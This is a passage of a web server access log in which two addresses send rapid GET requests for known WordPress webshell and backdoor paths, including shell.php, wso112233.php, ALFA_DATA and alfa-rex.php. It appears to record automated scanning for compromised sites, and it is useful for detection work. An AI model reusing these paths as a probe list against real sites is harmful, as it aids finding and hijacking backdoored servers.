149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /wp-includes/blocks/latest-posts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /wp-admin/css/sidebarg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /wp-includes/SimplePie/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /wp-includes/Text/Diff/Engine/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.85 - - [23/Apr/2025:03:22:31 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /indec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /images/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /files_content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:31 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /wp-content/444.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /images/contact_en.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /wp-content/plugins/woocommerce-square/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /wp-includes/sitemaps/providers/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /wp-admin/css/colors/inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:31 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /pgs.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /wp-admin/css/colors/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /wp-content/choosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /wp-includes/widgets/class-wp-widget-block.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /uploads_demo/blog/wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /wp-admin/maint/commentz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:31 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /cgi-bin/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /wp-content/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /wp-includes/js/plupload/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:31 -0400] "GET /wp-includes/css/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-includes/sitemaps/providers/al.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-includes/Text/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-content/themes/tflow/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-content/laiksw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-uploads-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-includes/css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-includes/Text/Diff/Engine/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-admin/includes/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-content/plugins/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /wordpress/wp-content/uploads/_input_3_css.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /.well-known/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-apxupx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-includes/Text/Diff/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /.well-known/bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.85 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-includes/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-admin/maint/a3.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /.well-known/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-admin/css/colors/blue/images.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-admin/includes/ace.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:32 -0400] "GET /.well-known/bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /.well-known/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /gu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-includes/images/media/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-includes/images/file1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /.well-known/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-includes/new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-admin/js/maila.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /export.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:32 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /wp-admin/css/colors/blue/browser.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /wp-admin/js/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:33 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /wp-includes/PHPMailer/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /wp-admin/maint/Ysuyo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:33 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /wp-content/uploads/indax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /wp-admin/includes/my1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /wp-includes/css/dist/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:33 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /wp-includes/css/dist/wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /wp-content/uploads/google-in.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /wp-includes/fonts/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /load-scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /wp-includes/css/dist/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:22:33 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /fox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /wp-content/upgrade/120f9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /wp-admin/includes/logs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /load-styles.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /wp-includes/css/dist/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:33 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /wp-admin/css/colors/blue/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /files/careers.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:33 -0400] "GET /options-discussion.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /wp-content/uploads/2024/11/priv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /ALFA_DATA/alfacgiapi/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:34 -0400] "GET /wp-content/themes/pridmag/db.php?u 